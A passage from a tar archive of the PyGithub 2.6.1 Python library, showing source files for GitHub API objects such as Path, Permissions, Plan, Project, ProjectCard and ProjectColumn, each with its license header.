self.__totalCount is None: if "totalCount" not in data: raise RuntimeError(f"Query must provide totalCount\n{self.__graphql_query}") self.__totalCount = data["totalCount"] if "nodes" not in data: raise RuntimeError( f"No nodes found under pagination path {self.__list_item}: {self.paths_of_dict(data)}" ) nodes = data["nodes"] if self._reversed: nodes = nodes[::-1] return [self.__contentClass(self.__requester, {}, element) for element in nodes if element is not None] def __parseLinkHeader(self, headers: Dict[str, Union[str, int]]) -> Dict[str, str]: links = {} if "link" in headers and isinstance(headers["link"], str): linkHeaders = headers["link"].split(", ") for linkHeader in linkHeaders: url, rel, *rest = linkHeader.split("; ") url = url[1:-1] rel = rel[5:-1] links[rel] = url return links def get_page(self, page: int) -> List[T]: if self.is_graphql: raise RuntimeError("Not supported for GraphQL pagination") params = dict(self.__firstParams) if page != 0: params["page"] = page + 1 if self.__requester.per_page != 30: params["per_page"] = self.__requester.per_page headers, data = self.__requester.requestJsonAndCheck( "GET", self.__firstUrl, parameters=params, headers=self.__headers # type: ignore ) if self.__list_item in data: self.__totalCount = data.get("total_count") data = data[self.__list_item] return [self.__contentClass(self.__requester, headers, self._transformAttributes(element)) for element in data] @classmethod def override_attributes(cls, overrides: Dict[str, Any]) -> Callable[[Dict[str, Any]], Dict[str, Any]]: def attributes_transformer(element: Dict[str, Any]) -> Dict[str, Any]: # Recursively merge overrides with attributes, overriding attributes with overrides element = cls.merge_dicts(element, overrides) return element return attributes_transformer @classmethod def merge_dicts(cls, d1: Dict[str, Any], d2: Dict[str, Any]) -> Dict[str, Any]: # clone d1 d1 = d1.copy() for k, v in d2.items(): if isinstance(v, dict): d1[k] = cls.merge_dicts(d1.get(k, {}), v) else: d1[k] = v return d1 @classmethod def paths_of_dict(cls, d: dict) -> dict: return {key: cls.paths_of_dict(val) if isinstance(val, dict) else None for key, val in d.items()} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Path.py0000644000175100001660000001153014756101563015516 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Justin Kufro # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class Path(NonCompletableGithubObject): """ This class represents a popular Path for a GitHub repository. The reference can be found here https://docs.github.com/en/rest/reference/repos#traffic The OpenAPI schema can be found at - /components/schemas/content-traffic """ def _initAttributes(self) -> None: self._count: Attribute[int] = NotSet self._path: Attribute[str] = NotSet self._title: Attribute[str] = NotSet self._uniques: Attribute[int] = NotSet def __repr__(self) -> str: return self.get__repr__( { "path": self._path.value, "title": self._title.value, "count": self._count.value, "uniques": self._uniques.value, } ) @property def count(self) -> int: return self._count.value @property def path(self) -> str: return self._path.value @property def title(self) -> str: return self._title.value @property def uniques(self) -> int: return self._uniques.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "count" in attributes: # pragma no branch self._count = self._makeIntAttribute(attributes["count"]) if "path" in attributes: # pragma no branch self._path = self._makeStringAttribute(attributes["path"]) if "title" in attributes: # pragma no branch self._title = self._makeStringAttribute(attributes["title"]) if "uniques" in attributes: # pragma no branch self._uniques = self._makeIntAttribute(attributes["uniques"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Permissions.py0000644000175100001660000001243314756101563017140 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 karsten-wagner <39054096+karsten-wagner@users.noreply.github.com># # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class Permissions(NonCompletableGithubObject): """ This class represents Permissions. The OpenAPI schema can be found at - /components/schemas/collaborator/properties/permissions - /components/schemas/full-repository/properties/permissions - /components/schemas/minimal-repository/properties/permissions - /components/schemas/repo-search-result-item/properties/permissions - /components/schemas/repository/properties/permissions - /components/schemas/team/properties/permissions """ def _initAttributes(self) -> None: self._admin: Attribute[bool] = NotSet self._maintain: Attribute[bool] = NotSet self._pull: Attribute[bool] = NotSet self._push: Attribute[bool] = NotSet self._triage: Attribute[bool] = NotSet def __repr__(self) -> str: return self.get__repr__( { "admin": self._admin.value, "maintain": self._maintain.value, "pull": self._pull.value, "push": self._push.value, "triage": self._triage.value, } ) @property def admin(self) -> bool: return self._admin.value @property def maintain(self) -> bool: return self._maintain.value @property def pull(self) -> bool: return self._pull.value @property def push(self) -> bool: return self._push.value @property def triage(self) -> bool: return self._triage.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "admin" in attributes: # pragma no branch self._admin = self._makeBoolAttribute(attributes["admin"]) if "maintain" in attributes: # pragma no branch self._maintain = self._makeBoolAttribute(attributes["maintain"]) if "pull" in attributes: # pragma no branch self._pull = self._makeBoolAttribute(attributes["pull"]) if "push" in attributes: # pragma no branch self._push = self._makeBoolAttribute(attributes["push"]) if "triage" in attributes: # pragma no branch self._triage = self._makeBoolAttribute(attributes["triage"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Plan.py0000644000175100001660000001226114756101563015516 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Geoff Low # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class Plan(NonCompletableGithubObject): """ This class represents Plans. The OpenAPI schema can be found at - /components/schemas/organization-full/properties/plan - /components/schemas/public-user/properties/plan - /components/schemas/team-organization/properties/plan """ def _initAttributes(self) -> None: self._collaborators: Attribute[int] = NotSet self._filled_seats: Attribute[int] = NotSet self._name: Attribute[str] = NotSet self._private_repos: Attribute[int] = NotSet self._seats: Attribute[int] = NotSet self._space: Attribute[int] = NotSet def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property def collaborators(self) -> int: return self._collaborators.value @property def filled_seats(self) -> int: return self._filled_seats.value @property def name(self) -> str: return self._name.value @property def private_repos(self) -> int: return self._private_repos.value @property def seats(self) -> int: return self._seats.value @property def space(self) -> int: return self._space.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "collaborators" in attributes: # pragma no branch self._collaborators = self._makeIntAttribute(attributes["collaborators"]) if "filled_seats" in attributes: # pragma no branch self._filled_seats = self._makeIntAttribute(attributes["filled_seats"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "private_repos" in attributes: # pragma no branch self._private_repos = self._makeIntAttribute(attributes["private_repos"]) if "seats" in attributes: # pragma no branch self._seats = self._makeIntAttribute(attributes["seats"]) if "space" in attributes: # pragma no branch self._space = self._makeIntAttribute(attributes["space"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Project.py0000644000175100001660000002732714756101563016243 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Chris McBride # # Copyright 2017 Simon # # Copyright 2018 Benoit Latinier # # Copyright 2018 Wan Liuyang # # Copyright 2018 Yossarian King # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Anuj Bansal # # Copyright 2020 Steve Kowalik # # Copyright 2021 Lars Kellogg-Stedman # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.GithubObject import github.NamedUser import github.ProjectColumn from github import Consts from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt from github.PaginatedList import PaginatedList class Project(CompletableGithubObject): """ This class represents Projects. The reference can be found here https://docs.github.com/en/rest/reference/projects The OpenAPI schema can be found at - /components/schemas/project """ def _initAttributes(self) -> None: self._body: Attribute[str] = NotSet self._columns_url: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._creator: Attribute[github.NamedUser.NamedUser] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._name: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._number: Attribute[int] = NotSet self._organization_permission: Attribute[str] = NotSet self._owner_url: Attribute[str] = NotSet self._private: Attribute[bool] = NotSet self._state: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property def columns_url(self) -> str: self._completeIfNotSet(self._columns_url) return self._columns_url.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def creator(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._creator) return self._creator.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def number(self) -> int: self._completeIfNotSet(self._number) return self._number.value @property def organization_permission(self) -> str: self._completeIfNotSet(self._organization_permission) return self._organization_permission.value @property def owner_url(self) -> str: self._completeIfNotSet(self._owner_url) return self._owner_url.value @property def private(self) -> bool: self._completeIfNotSet(self._private) return self._private.value @property def state(self) -> str: self._completeIfNotSet(self._state) return self._state.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def delete(self) -> None: """ :calls: `DELETE /projects/{project_id} `_ """ headers, data = self._requester.requestJsonAndCheck( "DELETE", self.url, headers={"Accept": Consts.mediaTypeProjectsPreview} ) def edit( self, name: Opt[str] = NotSet, body: Opt[str] = NotSet, state: Opt[str] = NotSet, organization_permission: Opt[str] = NotSet, private: Opt[bool] = NotSet, ) -> None: """ :calls: `PATCH /projects/{project_id} `_ """ assert name is NotSet or isinstance(name, str), name assert body is NotSet or isinstance(body, str), body assert state is NotSet or isinstance(state, str), state assert organization_permission is NotSet or isinstance(organization_permission, str), organization_permission assert private is NotSet or isinstance(private, bool), private patch_parameters = NotSet.remove_unset_items( { "name": name, "body": body, "state": state, "organization_permission": organization_permission, "private": private, } ) headers, data = self._requester.requestJsonAndCheck( "PATCH", self.url, input=patch_parameters, headers={"Accept": Consts.mediaTypeProjectsPreview}, ) self._useAttributes(data) def get_columns(self) -> PaginatedList[github.ProjectColumn.ProjectColumn]: """ :calls: `GET /projects/{project_id}/columns `_ """ return PaginatedList( github.ProjectColumn.ProjectColumn, self._requester, self.columns_url, None, headers={"Accept": Consts.mediaTypeProjectsPreview}, ) def create_column(self, name: str) -> github.ProjectColumn.ProjectColumn: """ calls: `POST /projects/{project_id}/columns `_ """ assert isinstance(name, str), name post_parameters = {"name": name} import_header = {"Accept": Consts.mediaTypeProjectsPreview} headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/columns", headers=import_header, input=post_parameters ) return github.ProjectColumn.ProjectColumn(self._requester, headers, data, completed=True) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "columns_url" in attributes: # pragma no branch self._columns_url = self._makeStringAttribute(attributes["columns_url"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "creator" in attributes: # pragma no branch self._creator = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["creator"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "number" in attributes: # pragma no branch self._number = self._makeIntAttribute(attributes["number"]) if "organization_permission" in attributes: # pragma no branch self._organization_permission = self._makeStringAttribute(attributes["organization_permission"]) if "owner_url" in attributes: # pragma no branch self._owner_url = self._makeStringAttribute(attributes["owner_url"]) if "private" in attributes: # pragma no branch self._private = self._makeBoolAttribute(attributes["private"]) if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/ProjectCard.py0000644000175100001660000002520114756101563017022 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2015 Matt Babineau # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Martijn Koster # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 Yossarian King # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Jody McIntyre # # Copyright 2020 Steve Kowalik # # Copyright 2020 chloe jungah kim <43295963+chloeeekim@users.noreply.github.com># # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.Issue import github.NamedUser import github.ProjectColumn import github.PullRequest from github import Consts from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt # NOTE: There is currently no way to get cards "in triage" for a project. # https://platform.github.community/t/moving-github-project-cards-that-are-in-triage/3784 # # See also https://developer.github.com/v4/object/projectcard for the next generation GitHub API, # which may point the way to where the API is likely headed and what might come back to v3. E.g. ProjectCard.content member. class ProjectCard(CompletableGithubObject): """ This class represents Project Cards. The reference can be found here https://docs.github.com/en/rest/reference/projects#cards The OpenAPI schema can be found at - /components/schemas/project-card - /components/schemas/validation-error - /components/schemas/validation-error-simple - /paths/"/projects/columns/{column_id}/cards"/post/responses/503/content/"application/json"/schema """ def _initAttributes(self) -> None: self._archived: Attribute[bool] = NotSet self._column_url: Attribute[str] = NotSet self._content_url: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._creator: Attribute[github.NamedUser.NamedUser] = NotSet self._id: Attribute[int] = NotSet self._node_id: Attribute[str] = NotSet self._note: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value}) @property def archived(self) -> bool: return self._archived.value @property def column_url(self) -> str: return self._column_url.value @property def content_url(self) -> str: return self._content_url.value @property def created_at(self) -> datetime: return self._created_at.value @property def creator(self) -> github.NamedUser.NamedUser: return self._creator.value @property def id(self) -> int: return self._id.value @property def node_id(self) -> str: return self._node_id.value @property def note(self) -> str: return self._note.value @property def updated_at(self) -> datetime: return self._updated_at.value @property def url(self) -> str: return self._url.value # Note that the content_url for any card will be an "issue" URL, from # which you can retrieve either an Issue or a PullRequest. Unfortunately # the API doesn't make it clear which you are dealing with. def get_content( self, content_type: Opt[str] = NotSet ) -> github.PullRequest.PullRequest | github.Issue.Issue | None: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number} `_ """ assert content_type is NotSet or isinstance(content_type, str), content_type if self.content_url is None: return None retclass: type[github.PullRequest.PullRequest] | type[github.Issue.Issue] if content_type == "PullRequest": url = self.content_url.replace("issues", "pulls") retclass = github.PullRequest.PullRequest elif content_type is NotSet or content_type == "Issue": url = self.content_url retclass = github.Issue.Issue else: raise ValueError(f"Unknown content type: {content_type}") headers, data = self._requester.requestJsonAndCheck("GET", url) return retclass(self._requester, headers, data, completed=True) def move(self, position: str, column: github.ProjectColumn.ProjectColumn | int) -> bool: """ :calls: `POST /projects/columns/cards/{card_id}/moves `_ """ assert isinstance(position, str), position assert isinstance(column, github.ProjectColumn.ProjectColumn) or isinstance(column, int), column post_parameters = { "position": position, "column_id": column.id if isinstance(column, github.ProjectColumn.ProjectColumn) else column, } status, _, _ = self._requester.requestJson( "POST", f"{self.url}/moves", input=post_parameters, headers={"Accept": Consts.mediaTypeProjectsPreview}, ) return status == 201 def delete(self) -> bool: """ :calls: `DELETE /projects/columns/cards/{card_id} `_ """ status, _, _ = self._requester.requestJson( "DELETE", self.url, headers={"Accept": Consts.mediaTypeProjectsPreview}, ) return status == 204 def edit(self, note: Opt[str] = NotSet, archived: Opt[bool] = NotSet) -> None: """ :calls: `PATCH /projects/columns/cards/{card_id} `_ """ assert note is NotSet or isinstance(note, str), note assert archived is NotSet or isinstance(archived, bool), archived patch_parameters: dict[str, Any] = NotSet.remove_unset_items({"note": note, "archived": archived}) headers, data = self._requester.requestJsonAndCheck( "PATCH", self.url, input=patch_parameters, headers={"Accept": Consts.mediaTypeProjectsPreview}, ) self._useAttributes(data) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "archived" in attributes: # pragma no branch self._archived = self._makeBoolAttribute(attributes["archived"]) if "column_url" in attributes: # pragma no branch self._column_url = self._makeStringAttribute(attributes["column_url"]) if "content_url" in attributes: # pragma no branch self._content_url = self._makeStringAttribute(attributes["content_url"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "creator" in attributes: # pragma no branch self._creator = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["creator"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "note" in attributes: # pragma no branch self._note = self._makeStringAttribute(attributes["note"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/ProjectColumn.py0000644000175100001660000002363514756101563017417 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2015 Matt Babineau # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Martijn Koster # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 Yossarian King # # Copyright 2018 sfdye # # Copyright 2019 Benoit Latinier # # Copyright 2019 Steve Kowalik # # Copyright 2019 Vincent # # Copyright 2019 Wan Liuyang # # Copyright 2020 Alice GIRARD # # Copyright 2020 Florent Clarret # # Copyright 2020 Steve Kowalik # # Copyright 2021 Dhruv Bhanushali # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.GithubObject import github.Project import github.ProjectCard from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt from github.PaginatedList import PaginatedList from . import Consts class ProjectColumn(CompletableGithubObject): """ This class represents Project Columns. The reference can be found here https://docs.github.com/en/rest/reference/projects#columns The OpenAPI schema can be found at - /components/schemas/project-column """ def _initAttributes(self) -> None: self._cards_url: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._id: Attribute[int] = NotSet self._name: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._project_url: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property def cards_url(self) -> str: return self._cards_url.value @property def created_at(self) -> datetime: return self._created_at.value @property def id(self) -> int: return self._id.value @property def name(self) -> str: return self._name.value @property def node_id(self) -> str: return self._node_id.value @property def project_url(self) -> str: return self._project_url.value @property def updated_at(self) -> datetime: return self._updated_at.value @property def url(self) -> str: return self._url.value def get_cards(self, archived_state: Opt[str] = NotSet) -> PaginatedList[github.ProjectCard.ProjectCard]: """ :calls: `GET /projects/columns/{column_id}/cards `_ """ assert archived_state is NotSet or isinstance(archived_state, str), archived_state url_parameters = dict() if archived_state is not NotSet: url_parameters["archived_state"] = archived_state return PaginatedList( github.ProjectCard.ProjectCard, self._requester, f"{self.url}/cards", url_parameters, headers={"Accept": Consts.mediaTypeProjectsPreview}, ) def create_card( self, note: Opt[str] = NotSet, content_id: Opt[int] = NotSet, content_type: Opt[str] = NotSet, ) -> github.ProjectCard.ProjectCard: """ :calls: `POST /projects/columns/{column_id}/cards `_ """ if isinstance(note, str): assert content_id is NotSet, content_id assert content_type is NotSet, content_type post_parameters: dict[str, Any] = {"note": note} else: assert note is NotSet, note assert isinstance(content_id, int), content_id assert isinstance(content_type, str), content_type post_parameters = {"content_id": content_id, "content_type": content_type} import_header = {"Accept": Consts.mediaTypeProjectsPreview} headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/cards", headers=import_header, input=post_parameters ) return github.ProjectCard.ProjectCard(self._requester, headers, data, completed=True) def move(self, position: str) -> bool: """ :calls: `POST POST /projects/columns/{column_id}/moves `_ """ assert isinstance(position, str), position post_parameters = {"position": position} status, _, _ = self._requester.requestJson( "POST", f"{self.url}/moves", input=post_parameters, headers={"Accept": Consts.mediaTypeProjectsPreview}, ) return status == 201 def delete(self) -> bool: """ :calls: `DELETE /projects/columns/{column_id} `_ """ status, _, _ = self._requester.requestJson( "DELETE", self.url, headers={"Accept": Consts.mediaTypeProjectsPreview}, ) return status == 204 def edit(self, name: str) -> None: """ :calls: `PATCH /projects/columns/{column_id} `_ """ assert isinstance(name, str), name patch_parameters = {"name": name} headers, data = self._requester.requestJsonAndCheck( "PATCH", self.url, input=patch_parameters, headers={"Accept": Consts.mediaTypeProjectsPreview}, ) self._useAttributes(data) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "cards_url" in attributes: # pragma no branch self._cards_url = self._makeStringAttribute(attributes["cards_url"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "project_url" in attributes: # pragma no branch self._project_url = self._makeStringAttribute(attributes["project_url"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/PublicKey.py0000644000175100001660000001467314756101563016524 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Chris Keating # # Copyright 2021 MeggyCal # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the 